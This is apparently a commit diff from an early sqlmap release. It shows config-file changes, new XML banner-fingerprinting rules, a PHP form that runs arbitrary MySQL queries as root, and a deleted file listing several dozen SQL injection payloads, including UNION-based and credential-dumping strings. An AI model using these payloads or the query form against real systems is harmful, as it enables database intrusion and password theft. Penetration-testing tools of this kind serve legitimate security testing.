echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a MySQL query</b><br>host: <input type=\"text\" name=\"host\" value=\"localhost\"><br>user: <input type=\"text\" name=\"user\" value=\"root\"><br>password: <input type=\"password\" name=\"password\"><br>query: <input type=\"text\" name=\"query\"><br><input type=\"submit\" value=\"execute\"></form><br>"; echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a MySQL query</b><br>host: <input type=\"text\" name=\"host\" value=\"localhost\"><br>user: <input type=\"text\" name=\"user\" value=\"root\"><br>password: <input type=\"password\" name=\"password\"><br>query: <input type=\"text\" name=\"query\"><br><input type=\"submit\" value=\"execute\"></form><br>";
echo "<div style=\"text-align: center\">"; echo "</div><div id=\"rightbody\">";
echo "<a href=\"http://validator.w3.org/check/referer\"><img src=\"http://www.w3.org/Icons/valid-html401\" border=\"0\" alt=\"Valid HTML 4.01!\"></a>";
echo "<a href=\"http://jigsaw.w3.org/css-validator/validator?text=" . $cssEncoded . "\"><img src=\"http://jigsaw.w3.org/css-validator/images/vcss\" border=\"0\" alt=\"Valid CSS!\"></a>";
echo "</div></div><div id=\"rightbody\">";
} }
if (isset($_REQUEST["sysinfo"])) { if (isset($_REQUEST["sysinfo"])) {

View File

@@ -1,9 +1,16 @@
[Request] [Target]
# Target URL. # Target URL.
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 # Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
# PHP and MySQL (local)
url = url =
# Parse targets from Burp or WebScarab logs
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
# 'conversations/' folder path
list =
# Rather than providing a target url, let Google return target # Rather than providing a target url, let Google return target
# hosts as result of your Google dork expression. For a list of Google # hosts as result of your Google dork expression. For a list of Google
# dorks see Johnny Long Google Hacking Database at # dorks see Johnny Long Google Hacking Database at
@@ -11,9 +18,8 @@ url =
# Example: +ext:php +inurl:"&id=" +intext:"powered by " # Example: +ext:php +inurl:"&id=" +intext:"powered by "
googleDork = googleDork =
# Testable parameter(s) comma separated. By default all GET/POST/Cookie
# parameters and HTTP User-Agent are tested by sqlmap. [Request]
testParameter =
# HTTP method to perform HTTP requests. # HTTP method to perform HTTP requests.
# Valid: GET or POST # Valid: GET or POST
@@ -34,12 +40,18 @@ referer =
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value # HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
# at each HTTP request # at each HTTP request
# sqlmap will also test for SQL injection on the HTTP User-Agent value. # sqlmap will also test for SQL injection on the HTTP User-Agent value.
agent = sqlmap/0.6.1 (http://sqlmap.sourceforge.net) agent =
# Load a random HTTP User-Agent header from file # Load a random HTTP User-Agent header from file
# Example: txt/user-agents.txt # Example: ./txt/user-agents.txt
userAgentsFile = userAgentsFile =
# Extra HTTP headers
# Note: there must be a space at the beginning of each header line
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# HTTP Authentication type. Useful only if the target url requires # HTTP Authentication type. Useful only if the target url requires
# HTTP Basic or Digest authentication and you have such data. # HTTP Basic or Digest authentication and you have such data.
# Valid: Basic or Digest # Valid: Basic or Digest
@@ -56,25 +68,85 @@ proxy =
# Maximum number of concurrent HTTP requests (handled with Python threads) # Maximum number of concurrent HTTP requests (handled with Python threads)
# to be used in the inference SQL injection attack. # to be used in the inference SQL injection attack.
# Valid: integer
# Default: 1 # Default: 1
threads = 1 threads = 1
# Delay in seconds between each HTTP request.
# Valid: float
# Default: 0
delay = 0
# Seconds to wait before timeout connection.
# Valid: float
# Default: 10
timeout = 10
[Injection] [Injection]
# String to match in page when the query is valid, only needed if the # Testable parameter(s) comma separated. By default all GET/POST/Cookie
# page content dynamically changes at each refresh, consequently changing # parameters and HTTP User-Agent are tested by sqlmap.
# the MD5 of the page which is the method used by default to determine testParameter =
# if a query was valid or not. Read the documentation for further
# details.
string =
# Force back-end DBMS to this value. If this option is set, the back-end # Force back-end DBMS to this value. If this option is set, the back-end
# DBMS identification process will be minimized as needed. # DBMS identification process will be minimized as needed.
# If not set, sqlmap will detect back-end DBMS automatically by default. # If not set, sqlmap will detect back-end DBMS automatically by default.
# Valid: mssql, mysql, oracle, pgsql # Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql
dbms = dbms =
# Injection payload prefix string
prefix =
# Injection payload postfix string
postfix =
# String to match within the page content when the query is valid, only
# needed if the page content dynamically changes at each refresh,
# consequently changing the MD5 hash of the page which is the method used
# by default to determine if a query was valid or not. Refer to the user's
# manual for further details.
string =
# Regular expression to match within the page content when the query is
# valid, only needed if the needed if the page content dynamically changes
# at each refresh, consequently changing the MD5 hash of the page which is
# the method used by default to determine if a query was valid or not.
# Refer to the user's manual for further details.
# Valid: regular expression with Python syntax
# (http://www.python.org/doc/2.5.2/lib/re-syntax.html)
regexp =
# String to be excluded by the page content before calculating the page
# MD5 hash
eString =
# Regular expression matches to be excluded by the page content before
# calculating the page MD5 hash
# Valid: regular expression with Python syntax
# (http://www.python.org/doc/2.5.2/lib/re-syntax.html)
eRegexp =
[Techniques]
# Test for stacked queries (multiple statements) support.
# Valid: True or False
stackedTest = False
# Test for Time based blind SQL injection.
# Valid: True or False
timeTest = False
# Test for UNION query (inband) SQL injection.
# Valid: True or False
unionTest = False
# Use the UNION query (inband) SQL injection to retrieve the queries
# output. No need to go blind.
# Valid: True or False
unionUse = False
[Fingerprint] [Fingerprint]
@@ -98,6 +170,10 @@ getCurrentUser = False
# Valid: True or False # Valid: True or False
getCurrentDb = False getCurrentDb = False
# Detect if the DBMS current user is DBA.
# Valid: True or False
isDba = False
# Enumerate back-end database management system users. # Enumerate back-end database management system users.
# Valid: True or False # Valid: True or False
getUsers = False getUsers = False
@@ -151,12 +227,12 @@ user =
excludeSysDbs = False excludeSysDbs = False
# First table entry to dump (cursor start) # First table entry to dump (cursor start)
# Valid: number # Valid: integer
# Default: 0 (sqlmap will start to dump the table entries from the first) # Default: 0 (sqlmap will start to dump the table entries from the first)
limitStart = 0 limitStart = 0
# Last table entry to dump (cursor stop) # Last table entry to dump (cursor stop)
# Valid: number # Valid: integer
# Default: 0 (sqlmap will detect the number of table entries and dump # Default: 0 (sqlmap will detect the number of table entries and dump
# until the last) # until the last)
limitStop = 0 limitStop = 0
@@ -173,7 +249,7 @@ sqlShell = False
[File system] [File system]
# Read a specific OS file content (only on MySQL). # Read a specific OS file content (only on MySQL).
# Examples: '/etc/passwd' or 'C:\boot.ini' # Examples: /etc/passwd or C:\boot.ini
rFile = rFile =
# Write to a specific OS file (not yet available). # Write to a specific OS file (not yet available).
@@ -191,30 +267,21 @@ osShell = False
[Miscellaneous] [Miscellaneous]
# Test for UNION SELECT (inband) SQL injection.
# Valid: True or False
unionTest = False
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
# output. No need to go blind.
# Valid: True or False
unionUse = False
# Retrieve each query output length and calculate the estimated time of # Retrieve each query output length and calculate the estimated time of
# arrival in real time. # arrival in real time.
# Valid: True or False # Valid: True or False
eta = False eta = False
# Verbosity level. # Verbosity level.
# Valid values: # Valid: integer between 0 and 5
# 0: Silent # 0: Show only warning and error messages
# 1: Show info messages # 1: Show also info messages
# 2: Show also debug messages # 2: Show also debug messages
# 3: Show also HTTP requests # 3: Show also HTTP requests
# 4: Show also HTTP responses headers # 4: Show also HTTP responses headers
# 5: Show also HTTP responses page content # 5: Show also HTTP responses page content
# Default: 0 # Default: 1
verbose = 0 verbose = 1
# Update sqlmap to the latest stable version. # Update sqlmap to the latest stable version.
# Valid: True or False # Valid: True or False

View File

@@ -29,6 +29,13 @@ import sys
import time import time
import traceback import traceback
try:
import psyco
psyco.full()
psyco.profile()
except ImportError, _:
pass
from lib.controller.controller import start from lib.controller.controller import start
from lib.core.common import banner from lib.core.common import banner
from lib.core.common import setPaths from lib.core.common import setPaths

View File

@@ -1,51 +0,0 @@
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
||6
'||'6
(||6)
' OR 1=1--
OR 1=1
' OR '1'='1
; OR '1'='1'
%22+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+
' or 1=1--
" or 1=1--
' or 1=1 /*
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Admin' OR '
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
' having 1=1--
' having 1=1--
' group by userid having 1=1--
' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
' or 1 in (select @@version)--
' union all select @@version--
' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
' OR 'text' = N'text'
' OR 'something' like 'some%'
' OR 2 > 1
' OR 'text' > 't'
' OR 'whatever' in ('whatever')
' OR 2 BETWEEN 1 and 3
' or username like char(37);
' union select * from users where login = char(114,111,111,116);
' union select
Password:*/=1--
UNI/**/ON SEL/**/ECT
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
'; EXEC ('SEL' + 'ECT US' + 'ER')
'/**/OR/**/1/**/=/**/1
' or 1/*
+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+&password=
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
@var select @var as var into temp end --

33
xml/banner/cookie.xml Normal file
View File

@@ -0,0 +1,33 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* http://www.http-stats.com/Set-Cookie2
* http://www.owasp.org/index.php/Category:OWASP_Cookies_Database
-->
<root>
<regexp value="ASPSESSIONID">
<info technology="ASP" type="Windows" distrib="2000"/>
</regexp>
<regexp value="ASP\.NET_SessionId">
<info technology="ASP.NET" type="Windows" distrib="2003|2008"/>
</regexp>
<regexp value="JSESSIONID">
<info technology="JSP"/>
</regexp>
<regexp value="PHPSESSION">
<info technology="PHP"/>
</regexp>
<regexp value="Apache">
<info technology="Apache"/>
</regexp>
<regexp value="JServSessionId">
<info technology="Apache|JSP"/>
</regexp>
</root>

127
xml/banner/generic.xml Normal file
View File

@@ -0,0 +1,127 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- Windows -->
<regexp value="(Microsoft|Windows|Win32)">
<info type="Windows"/>
</regexp>
<regexp value="Service Pack (\d)">
<info sp="1"/>
</regexp>
<regexp value="Microsoft.*7\.0">
<info type="Windows" distrib="Vista"/>
</regexp>
<regexp value="Microsoft.*6\.0">
<info type="Windows" distrib="2003"/>
</regexp>
<regexp value="Microsoft.*5\.2">
<info type="Windows" distrib="2003"/>
</regexp>
<regexp value="Microsoft.*5\.1">
<info type="Windows" distrib="XP"/>
</regexp>
<regexp value="Microsoft.*5\.0">
<info type="Windows" distrib="2000"/>
</regexp>
<regexp value="Microsoft.*4\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Microsoft.*3\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Microsoft.*2\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<!-- Linux -->
<regexp value="Linux">
<info type="Linux"/>
</regexp>
<regexp value="CentOS">
<info type="Linux" distrib="CentOS"/>
</regexp>
<regexp value="Cobalt">
<info type="Linux" distrib="Cobalt"/>
</regexp>
<regexp value="Conectiva">
<info type="Linux" distrib="Conectiva"/>
</regexp>
<regexp value="Debian">
<info type="Linux" distrib="Debian|Ubuntu"/>
</regexp>
<regexp value="Fedora">
<info type="Linux" distrib="Fedora"/>
</regexp>
<regexp value="Gentoo">
<info type="Linux" distrib="Gentoo"/>
</regexp>
<regexp value="Knoppix">
<info type="Linux" distrib="Knoppix"/>
</regexp>
<regexp value="Mandrake">
<info type="Linux" distrib="Mandrake"/>
</regexp>
<regexp value="Mandriva">
<info type="Linux" distrib="Mandriva"/>
</regexp>
<regexp value="Red[\-\_\ ]*Hat">
<info type="Linux" distrib="Red Hat"/>
</regexp>
<regexp value="Slackware">
<info type="Linux" distrib="Slackware"/>
</regexp>
<regexp value="SuSE">
<info type="Linux" distrib="SuSE"/>
</regexp>
<regexp value="Ubuntu">
<info type="Linux" distrib="Ubuntu"/>
</regexp>
<!-- Unices -->
<regexp value="FreeBSD">
<info type="FreeBSD"/>
</regexp>
<regexp value="NetBSD">
<info type="NetBSD"/>
</regexp>
<regexp value="OpenBSD">
<info type="OpenBSD"/>
</regexp>
<!-- Mac OSX -->
<regexp value="Mac[\-\_\ ]*OSX">
<info type="Mac OSX"/>
</regexp>
<regexp value="Darwin">
<info type="Mac OSX"/>
</regexp>
</root>

42
xml/banner/mysql.xml Normal file
View File

@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="^([\d\.\-]+)[\-\_\ ].*">
<info dbms_version="1"/>
</regexp>
<!-- Windows -->
<regexp value="^([\d\.\-]+)[\-\_\ ].*nt$">
<info dbms_version="1" type="Windows"/>
</regexp>
<!-- Debian -->
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+potato">
<info dbms_version="1" type="Linux" distrib="Debian" release="2.1" codename="potato"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+woody">
<info dbms_version="1" type="Linux" distrib="Debian" release="3.0" codename="woody"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+sarge">
<info dbms_version="1" type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+etch">
<info dbms_version="1" type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+testing">
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
</regexp>
<!-- Ubuntu -->
<regexp value="^(5\.0\.67)-0ubuntu6">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
</regexp>
</root>

7
xml/banner/oracle.xml Normal file
View File

@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="^Oracle\s+.*Release\s+([\d\.]+)\s+">
<info dbms_version="1"/>
</regexp>
</root>

16
xml/banner/postgresql.xml Normal file
View File

@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="PostgreSQL\s+([\w\.]+)">
<info dbms_version="1"/>
</regexp>
<!-- Ubuntu -->
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
</regexp>
<regexp value="PostgreSQL\s+(8\.3\.5)\s+on\s+.*?\s+\(Ubuntu 4\.3\.2-1ubuntu11\)">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
</regexp>
</root>

406
xml/banner/server.xml Normal file
View File

@@ -0,0 +1,406 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* http://www.http-stats.com/Server
* http://en.wikipedia.org
-->
<root>
<!-- Microsoft IIS -->
<regexp value="Microsoft-IIS/(7\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(6\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(5\.1)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(5\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(4\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(3\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(2\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<!-- Apache -->
<regexp value="Apache$">
<info technology="Apache"/>
</regexp>
<regexp value="Apache/([\w\.]+)">
<info technology="Apache" tech_version="1"/>
</regexp>
<regexp value="Apache[\-\_\ ]AdvancedExtranetServer/([\w\.]+)">
<info technology="Apache" tech_version="1"/>
</regexp>
<!-- Apache: CentOS -->
<!-- TODO: add Centos 4.6, 4.7, 5.1 and 5.2 -->
<regexp value="Apache/2\.0\.46 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="3.7"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="4.3|4.4"/>
</regexp>
<regexp value="Apache/2\.0\.46 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="5"/>
</regexp>
<!-- Apache: Debian -->
<!-- TODO: add Debian testing, unstable and experimental -->
<regexp value="Apache/1\.0\.5 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.1" codename="buzz"/>
</regexp>
<regexp value="Apache/1\.1\.1 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.2" codename="rex"/>
</regexp>
<regexp value="Apache/1\.1\.3 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.3" codename="bo"/>
</regexp>
<regexp value="Apache/1\.3\.0 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="2.0" codename="hamm"/>
</regexp>
<regexp value="Apache/1\.3\.3 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="2.1" codename="slink"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) Debian\/GNU">
<info type="Linux" distrib="Debian" release="2.2" codename="potato"/>
</regexp>
<regexp value="Apache/1\.3\.26 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.0" codename="woody"/>
</regexp>
<regexp value="Apache/1\.3\.33 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
</regexp>
<!-- Apache: Fedora -->
<!-- TODO: add Fedora 8, 9 and 10 -->
<regexp value="Apache/2\.0\.47 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow"/>
</regexp>
<regexp value="Apache/2\.0\.50 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.49 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang"/>
</regexp>
<regexp value="Apache/2\.0\.51 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="4" codename="Stentz"/>
</regexp>
<regexp value="Apache/2\.2\.0 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux"/>
</regexp>
<regexp value="Apache/2\.2\.2 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux" updated="True"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="6" codename="Zod"/>
</regexp>
<regexp value="Apache/2\.2\.4 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="7" codename="Moonshine"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="6|7" codename="Zod|Moonshine" updated="True"/>
</regexp>
<!-- Apache: Mandrake / Mandriva -->
<!-- TODO: add Mandriva 2007.1, 2008.0, 2008.1 and 2009.0 -->
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
<info type="Linux" distrib="Mandrake" release="6.0" codename="Venus"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\)\s+\(NetRevolution Advanced Server/Linux-Mandrake\)">
<info type="Linux" distrib="Mandrake" release="6.1|7.0" codename="Helios|Air"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.12 \(NetRevolution/Linux-Mandrake\)">
<info type="Linux" distrib="Mandrake" release="7.1" codename="Helium"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.14 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="7.2" codename="Odyssey"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.19 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="8.0" codename="Traktopel"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.20 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="8.1" codename="Vitamin"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.23 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="8.2" codename="Bluebird"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.26 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.0" codename="Dolphin"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.27 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.44 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.28 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.2" codename="FiveStar"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.47 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1|9.2" codename="Bamboo|FiveStar"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.29 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.48 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.31 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="10.1" codename="Official"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.50 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0|10.1" codename="Community|Official"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.53 \(Mandriva Linux/">
<info type="Linux" distrib="Mandrake" release="10.2" codename="Limited Edition 2005"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.54 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2006.0"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2007"/>
</regexp>
<!-- Apache: Red Hat -->
<!-- TODO: add Red Hat 5, 5.1, 5.2 and 5.3 -->
<regexp value="Apache/1\.2\.6 Red Hat">
<info type="Linux" distrib="Red Hat" release="5.1" codename="Manhattan"/>
</regexp>
<regexp value="Apache/1\.3\.3 \(Unix\)\s+\(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="5.2" codename="Apollo"/>
</regexp>
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.0" codename="Hedwig"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) \(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.1" codename="Cartman"/>
</regexp>
<regexp value="Apache/1\.3\.12 \(Unix\) \(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.0" codename="Guinness"/>
</regexp>
<regexp value="Apache/1\.3\.19 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1" codename="Seawolf"/>
</regexp>
<regexp value="Apache/1\.3\.20 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.2" codename="Enigma"/>
</regexp>
<regexp value="Apache/1\.3\.23 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.3" codename="Valhalla"/>
</regexp>
<regexp value="Apache/1\.3\.27 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1|7.2|7.3" codename="Seawolf|Enigma|Valhalla" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.40 \(Red Hat Linux\)">
<info type="Linux" distrib="Red Hat" release="8.0|9" codename="Psyche|Shrike"/>
</regexp>
<regexp value="Apache/1\.3\.22 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 2.1" codename="Panama"/>
</regexp>
<regexp value="Apache/2\.0\.46 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 3" codename="Taroon"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 4" codename="Nahant"/>
</regexp>
<!-- Apache: SuSE -->
<!-- TODO: add SuSE 10.1, 10.2, 10.3 and 11.0 -->
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="6.1"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="6.2"/>
</regexp>
<regexp value="Apache/1\.3\.12 \(Unix\) \(SuSE/Linux\)">
<info technology="operating-system.type" type="str" value="Linux"/>
<info type="Linux" distrib="SuSE" release="6.4|7.0"/>
</regexp>
<regexp value="Apache/1\.3\.17 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="7.1"/>
</regexp>
<regexp value="Apache/1\.3\.19 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="7.2"/>
</regexp>
<regexp value="Apache/1\.3\.20 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="7.3"/>
</regexp>
<regexp value="Apache/1\.3\.23 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.0"/>
</regexp>
<regexp value="Apache/1\.3\.26 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.1"/>
</regexp>
<regexp value="Apache/1\.3\.27 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.2"/>
</regexp>
<regexp value="Apache/1\.3\.28 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.0"/>
</regexp>
<regexp value="Apache/2\.0\.40 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.1"/>
</regexp>
<regexp value="Apache/2\.0\.44 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.2"/>
</regexp>
<regexp value="Apache/2\.0\.47 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.0"/>
</regexp>
<regexp value="Apache/2\.0\.49 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.1"/>
</regexp>
<regexp value="Apache/2\.0\.50 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.2"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.3"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="10.0"/>
</regexp>
<!-- Apache: Ubuntu -->
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="4.10" codename="Warty Warthog"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="5.04" codename="Hoary Hedgehog"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="5.10" codename="Breezy Badger"/>
</regexp>
<regexp value="Apache/2\.0\.55 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="6.06|6.10" codename="Dapper Drake|Edgy Eft"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="7.04" codename="Feisty Fawn"/>
</regexp>
<regexp value="Apache/2\.2\.4 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="7.10" codename="Gutsy Gibbon"/>
</regexp>
<regexp value="Apache/2\.2\.8 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
</regexp>
<regexp value="Apache/2\.2\.9 \(Ubuntu\)">
